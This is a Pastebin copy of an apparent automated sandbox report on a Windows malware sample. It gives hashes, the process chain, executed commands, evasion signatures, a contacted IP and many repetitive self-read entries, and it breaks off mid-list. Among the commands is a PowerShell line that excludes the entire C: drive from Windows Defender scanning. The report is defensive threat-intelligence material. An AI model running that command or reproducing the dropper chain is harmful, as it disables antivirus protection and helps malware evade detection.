API tools faq
paste
paladin316

Exes_8ce88300cfa130c6c062cd9b108e7a4b_exe_2019-07-29_21_30.txt

paladin316
Jul 29th, 2019
2,138
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 58.92 KB | None | 0 0
raw download clone embed print report
  1.  
  2. * MalFamily: ""
  3.  
  4. * MalScore: 10.0
  5.  
  6. * File Name: "Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe"
  7. * File Size: 1354905
  8. * File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
  9. * SHA256: "b0492dcfb8b319622a1e7a30ff534abb58a51d043e28a2025557935ef7714766"
  10. * MD5: "8ce88300cfa130c6c062cd9b108e7a4b"
  11. * SHA1: "06da6fd3a9a4ccd8a9f844a7879214a5158400ca"
  12. * SHA512: "7856b2c0268d1a883094e6387816124927ca947bb29870780a33afa63a9059f702084d821c9952380d61aa76a0135f990a2810eba944c7b5d03cf7aa1a83d5af"
  13. * CRC32: "6E750B68"
  14. * SSDEEP: "24576:bNA3R5drXTLPdLRkWRPCpNAlu55qpLPjia4F9lgeDbeibsRfGZojnTIaxYQ:G5PltbxCXMLubF/gUbsR0aL"
  15.  
  16. * Process Execution:
  17. "Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe",
  18. "wscript.exe",
  19. "nvt.exe",
  20. "nvt.exe",
  21. "RegSvcs.exe",
  22. "powershell.exe",
  23. "ubFGsyGHf.exe",
  24. "yfCcmcKCH.exe",
  25. "svchost.exe",
  26. "WmiPrvSE.exe",
  27. "svchost.exe"
  28.  
  29.  
  30. * Executed Commands:
  31. "\"C:\\Windows\\System32\\WScript.exe\" \"C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\mhh.vbs\"",
  32. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\mhh.vbs ",
  33. "\"C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\nvt.exe\" rau=hmw",
  34. "nvt.exe rau=hmw",
  35. "C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\nvt.exe C:\\Users\\user\\AppData\\Local\\Temp\\79617677\\WEMED",
  36. "powershell Add-MpPreference -ExclusionPath C:\\",
  37. "C:\\Users\\user\\AppData\\Roaming\\ubFGsyGHf.exe ",
  38. "C:\\Users\\user\\AppData\\Roaming\\yfCcmcKCH.exe ",
  39. "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding"
  40.  
  41.  
  42. * Signatures Detected:
  43.  
  44. "Description": "Attempts to connect to a dead IP:Port (1 unique times)",
  45. "Details":
  46.  
  47. "IP": "185.61.138.111:80"
  48.  
  49.  
  50.  
  51.  
  52. "Description": "Possible date expiration check, exits too soon after checking local time",
  53. "Details":
  54.  
  55. "process": "nvt.exe, PID 324"
  56.  
  57.  
  58.  
  59.  
  60. "Description": "Creates RWX memory",
  61. "Details":
  62.  
  63.  
  64. "Description": "Detected script timer window indicative of sleep style evasion",
  65. "Details":
  66.  
  67. "Window": "WSH-Timer"
  68.  
  69.  
  70.  
  71.  
  72. "Description": "Reads data out of its own binary image",
  73. "Details":
  74.  
  75. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00000000, length: 0x00000007"
  76.  
  77.  
  78. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00000000, length: 0x00002000"
  79.  
  80.  
  81. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00000007, length: 0x0014ac92"
  82.  
  83.  
  84. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00001ff0, length: 0x00002000"
  85.  
  86.  
  87. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00003fe0, length: 0x00002000"
  88.  
  89.  
  90. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00005fd0, length: 0x00002000"
  91.  
  92.  
  93. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00007fc0, length: 0x00002000"
  94.  
  95.  
  96. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00009fb0, length: 0x00002000"
  97.  
  98.  
  99. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x0000bfa0, length: 0x00002000"
  100.  
  101.  
  102. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x0000df90, length: 0x00002000"
  103.  
  104.  
  105. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x0000ff80, length: 0x00002000"
  106.  
  107.  
  108. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00011f70, length: 0x00002000"
  109.  
  110.  
  111. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00013f60, length: 0x00002000"
  112.  
  113.  
  114. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00015f50, length: 0x00002000"
  115.  
  116.  
  117. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00017f40, length: 0x00002000"
  118.  
  119.  
  120. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00019f30, length: 0x00002000"
  121.  
  122.  
  123. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x0001bf20, length: 0x00002000"
  124.  
  125.  
  126. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x0001df10, length: 0x00002000"
  127.  
  128.  
  129. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x0001ff00, length: 0x00002000"
  130.  
  131.  
  132. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00021ef0, length: 0x00002000"
  133.  
  134.  
  135. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00023ee0, length: 0x00002000"
  136.  
  137.  
  138. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00025ed0, length: 0x00002000"
  139.  
  140.  
  141. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00027ec0, length: 0x00002000"
  142.  
  143.  
  144. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00029eb0, length: 0x00002000"
  145.  
  146.  
  147. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x0002bea0, length: 0x00002000"
  148.  
  149.  
  150. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x0002de90, length: 0x00002000"
  151.  
  152.  
  153. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x0002fe80, length: 0x00002000"
  154.  
  155.  
  156. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00031e70, length: 0x00002000"
  157.  
  158.  
  159. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00033e60, length: 0x00002000"
  160.  
  161.  
  162. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00035e50, length: 0x00002000"
  163.  
  164.  
  165. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00037e40, length: 0x00002000"
  166.  
  167.  
  168. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00039e30, length: 0x00002000"
  169.  
  170.  
  171. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x0003be20, length: 0x00002000"
  172.  
  173.  
  174. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x0003de10, length: 0x00002000"
  175.  
  176.  
  177. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x0003fe00, length: 0x00002000"
  178.  
  179.  
  180. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00041df0, length: 0x00002000"
  181.  
  182.  
  183. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00043de0, length: 0x00002000"
  184.  
  185.  
  186. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00045dd0, length: 0x00002000"
  187.  
  188.  
  189. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00047dc0, length: 0x00002000"
  190.  
  191.  
  192. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00049db0, length: 0x00002000"
  193.  
  194.  
  195. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x0004bda0, length: 0x00002000"
  196.  
  197.  
  198. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x0004dd90, length: 0x00002000"
  199.  
  200.  
  201. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x0004fd80, length: 0x00002000"
  202.  
  203.  
  204. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00050a00, length: 0x00000032"
  205.  
  206.  
  207. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00050a1a, length: 0x000f6deb"
  208.  
  209.  
  210. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x001479aa, length: 0x00000028"
  211.  
  212.  
  213. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00147b74, length: 0x00000028"
  214.  
  215.  
  216. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00147d46, length: 0x00000028"
  217.  
  218.  
  219. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00147f43, length: 0x00000028"
  220.  
  221.  
  222. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x0014814f, length: 0x00000028"
  223.  
  224.  
  225. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00148340, length: 0x00000027"
  226.  
  227.  
  228. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x0014852a, length: 0x00000028"
  229.  
  230.  
  231. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x001486f5, length: 0x00000028"
  232.  
  233.  
  234. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x001488d2, length: 0x00000028"
  235.  
  236.  
  237. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00148ae2, length: 0x00000028"
  238.  
  239.  
  240. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00148cbc, length: 0x00000028"
  241.  
  242.  
  243. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00148ed8, length: 0x00000028"
  244.  
  245.  
  246. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x001490a5, length: 0x00000028"
  247.  
  248.  
  249. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00149288, length: 0x00000028"
  250.  
  251.  
  252. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00149486, length: 0x00000027"
  253.  
  254.  
  255. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00149657, length: 0x00000028"
  256.  
  257.  
  258. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x0014984e, length: 0x00000028"
  259.  
  260.  
  261. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00149a1c, length: 0x00000028"
  262.  
  263.  
  264. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00149c34, length: 0x00000028"
  265.  
  266.  
  267. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00149e05, length: 0x00000028"
  268.  
  269.  
  270. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x00149fe3, length: 0x00000029"
  271.  
  272.  
  273. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x0014a1e9, length: 0x00000028"
  274.  
  275.  
  276. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x0014a3f6, length: 0x00000028"
  277.  
  278.  
  279. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x0014a5dd, length: 0x00000028"
  280.  
  281.  
  282. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x0014a81b, length: 0x00000028"
  283.  
  284.  
  285. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x0014aa08, length: 0x00000027"
  286.  
  287.  
  288. "self_read": "process: Exes_8ce88300cfa130c6c062cd9b108e7a4b.exe, pid: 2328, offset: 0x0014abdc, length: 0x0000001b"
  289.  
  290.  
  291. "self_read": "process: wscript.exe, pid: 2732, offset: 0x00000000, length: 0x00000040"
  292.  
  293.  
  294. "self_read": "process: wscript.exe, pid: 2732, offset: 0x000000f0, length: 0x00000018"
  295.  
  296.  
  297. "self_read": "process: wscript.exe, pid: 2732, offset: 0x000001e8, length: 0x00000078"
  298.  
  299.  
  300. "self_read": "process: wscript.exe, pid: 2732, offset: 0x00018000, length: 0x00000020"
  301.  
  302.  
  303. "self_read": "process: wscript.exe, pid: 2732, offset: 0x00018058, length: 0x00000018"
  304.  
  305.  
  306. "self_read": "process: wscript.exe, pid: 2732, offset: 0x000181a8, length: 0x00000018"
  307.  
  308.  
  309. "self_read": "process: wscript.exe, pid: 2732, offset: 0x00018470, length: 0x00000010"
  310.  
  311.  
  312. "self_read": "process: wscript.exe, pid: 2732, offset: 0x00018640, length: 0x00000012"
  313.  
  314.  
  315. "self_read": "process: RegSvcs.exe, pid: 2396, offset: 0x00000000, length: 0x00008000"
  316.  
  317.  
  318. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00000000, length: 0x00000007"
  319.  
  320.  
  321. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00000000, length: 0x00002000"
  322.  
  323.  
  324. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00000007, length: 0x0015e0fc"
  325.  
  326.  
  327. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00001ff0, length: 0x00002000"
  328.  
  329.  
  330. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00003fe0, length: 0x00002000"
  331.  
  332.  
  333. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00005fd0, length: 0x00002000"
  334.  
  335.  
  336. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00007fc0, length: 0x00002000"
  337.  
  338.  
  339. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00009fb0, length: 0x00002000"
  340.  
  341.  
  342. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0000bfa0, length: 0x00002000"
  343.  
  344.  
  345. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0000df90, length: 0x00002000"
  346.  
  347.  
  348. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0000ff80, length: 0x00002000"
  349.  
  350.  
  351. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00011f70, length: 0x00002000"
  352.  
  353.  
  354. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00013f60, length: 0x00002000"
  355.  
  356.  
  357. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00015f50, length: 0x00002000"
  358.  
  359.  
  360. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00017f40, length: 0x00002000"
  361.  
  362.  
  363. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00019f30, length: 0x00002000"
  364.  
  365.  
  366. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0001bf20, length: 0x00002000"
  367.  
  368.  
  369. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0001df10, length: 0x00002000"
  370.  
  371.  
  372. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0001ff00, length: 0x00002000"
  373.  
  374.  
  375. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00021ef0, length: 0x00002000"
  376.  
  377.  
  378. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00023ee0, length: 0x00002000"
  379.  
  380.  
  381. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00025ed0, length: 0x00002000"
  382.  
  383.  
  384. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00027ec0, length: 0x00002000"
  385.  
  386.  
  387. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00029eb0, length: 0x00002000"
  388.  
  389.  
  390. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0002bea0, length: 0x00002000"
  391.  
  392.  
  393. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0002de90, length: 0x00002000"
  394.  
  395.  
  396. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0002fe80, length: 0x00002000"
  397.  
  398.  
  399. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00031e70, length: 0x00002000"
  400.  
  401.  
  402. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00033e60, length: 0x00002000"
  403.  
  404.  
  405. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00035e50, length: 0x00002000"
  406.  
  407.  
  408. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00037e40, length: 0x00002000"
  409.  
  410.  
  411. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00039e30, length: 0x00002000"
  412.  
  413.  
  414. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0003be20, length: 0x00002000"
  415.  
  416.  
  417. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0003de10, length: 0x00002000"
  418.  
  419.  
  420. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0003fe00, length: 0x00002000"
  421.  
  422.  
  423. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00041df0, length: 0x00002000"
  424.  
  425.  
  426. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00043de0, length: 0x00002000"
  427.  
  428.  
  429. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00045dd0, length: 0x00002000"
  430.  
  431.  
  432. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00047dc0, length: 0x00002000"
  433.  
  434.  
  435. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00049db0, length: 0x00002000"
  436.  
  437.  
  438. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0004bda0, length: 0x00002000"
  439.  
  440.  
  441. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0004dd90, length: 0x00002000"
  442.  
  443.  
  444. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0004fd80, length: 0x00002000"
  445.  
  446.  
  447. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00050a00, length: 0x00000031"
  448.  
  449.  
  450. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00050a19, length: 0x0010816e"
  451.  
  452.  
  453. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00158d2b, length: 0x0000043f"
  454.  
  455.  
  456. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00159307, length: 0x0000042d"
  457.  
  458.  
  459. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00159922, length: 0x00000028"
  460.  
  461.  
  462. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x00159b29, length: 0x000003db"
  463.  
  464.  
  465. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015a0b7, length: 0x000001f2"
  466.  
  467.  
  468. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015a47a, length: 0x00000028"
  469.  
  470.  
  471. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015a667, length: 0x000007cc"
  472.  
  473.  
  474. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015afe8, length: 0x00000028"
  475.  
  476.  
  477. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015b1e9, length: 0x00000028"
  478.  
  479.  
  480. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015b3b4, length: 0x00000028"
  481.  
  482.  
  483. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015b5be, length: 0x00000028"
  484.  
  485.  
  486. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015b787, length: 0x00000027"
  487.  
  488.  
  489. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015b97c, length: 0x00000027"
  490.  
  491.  
  492. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015bb53, length: 0x00000028"
  493.  
  494.  
  495. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015bd6e, length: 0x00000028"
  496.  
  497.  
  498. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015bf60, length: 0x00000028"
  499.  
  500.  
  501. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015c159, length: 0x00000028"
  502.  
  503.  
  504. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015c322, length: 0x00000027"
  505.  
  506.  
  507. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015c516, length: 0x00000029"
  508.  
  509.  
  510. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015c73b, length: 0x00000029"
  511.  
  512.  
  513. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015c928, length: 0x00000027"
  514.  
  515.  
  516. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015caf5, length: 0x00000028"
  517.  
  518.  
  519. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015ccc8, length: 0x00000028"
  520.  
  521.  
  522. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015ce97, length: 0x00000028"
  523.  
  524.  
  525. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015d074, length: 0x00000028"
  526.  
  527.  
  528. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015d24b, length: 0x00000028"
  529.  
  530.  
  531. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015d450, length: 0x00000028"
  532.  
  533.  
  534. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015d68d, length: 0x00000029"
  535.  
  536.  
  537. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015d874, length: 0x00000028"
  538.  
  539.  
  540. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015da6b, length: 0x00000028"
  541.  
  542.  
  543. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015dc67, length: 0x00000028"
  544.  
  545.  
  546. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015de63, length: 0x00000028"
  547.  
  548.  
  549. "self_read": "process: ubFGsyGHf.exe, pid: 2752, offset: 0x0015e044, length: 0x0000001b"
  550.  
  551.  
  552. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00000000, length: 0x00000007"
  553.  
  554.  
  555. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00000000, length: 0x00002000"
  556.  
  557.  
  558. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00000007, length: 0x0015e0fc"
  559.  
  560.  
  561. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00001ff0, length: 0x00002000"
  562.  
  563.  
  564. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00003fe0, length: 0x00002000"
  565.  
  566.  
  567. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00005fd0, length: 0x00002000"
  568.  
  569.  
  570. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00007fc0, length: 0x00002000"
  571.  
  572.  
  573. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00009fb0, length: 0x00002000"
  574.  
  575.  
  576. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0000bfa0, length: 0x00002000"
  577.  
  578.  
  579. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0000df90, length: 0x00002000"
  580.  
  581.  
  582. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0000ff80, length: 0x00002000"
  583.  
  584.  
  585. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00011f70, length: 0x00002000"
  586.  
  587.  
  588. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00013f60, length: 0x00002000"
  589.  
  590.  
  591. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00015f50, length: 0x00002000"
  592.  
  593.  
  594. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00017f40, length: 0x00002000"
  595.  
  596.  
  597. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00019f30, length: 0x00002000"
  598.  
  599.  
  600. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0001bf20, length: 0x00002000"
  601.  
  602.  
  603. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0001df10, length: 0x00002000"
  604.  
  605.  
  606. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0001ff00, length: 0x00002000"
  607.  
  608.  
  609. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00021ef0, length: 0x00002000"
  610.  
  611.  
  612. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00023ee0, length: 0x00002000"
  613.  
  614.  
  615. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00025ed0, length: 0x00002000"
  616.  
  617.  
  618. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00027ec0, length: 0x00002000"
  619.  
  620.  
  621. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00029eb0, length: 0x00002000"
  622.  
  623.  
  624. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0002bea0, length: 0x00002000"
  625.  
  626.  
  627. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0002de90, length: 0x00002000"
  628.  
  629.  
  630. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0002fe80, length: 0x00002000"
  631.  
  632.  
  633. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00031e70, length: 0x00002000"
  634.  
  635.  
  636. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00033e60, length: 0x00002000"
  637.  
  638.  
  639. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00035e50, length: 0x00002000"
  640.  
  641.  
  642. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00037e40, length: 0x00002000"
  643.  
  644.  
  645. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00039e30, length: 0x00002000"
  646.  
  647.  
  648. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0003be20, length: 0x00002000"
  649.  
  650.  
  651. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0003de10, length: 0x00002000"
  652.  
  653.  
  654. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x0003fe00, length: 0x00002000"
  655.  
  656.  
  657. "self_read": "process: yfCcmcKCH.exe, pid: 2436, offset: 0x00041df0, length: 0x00002000"
  658.  
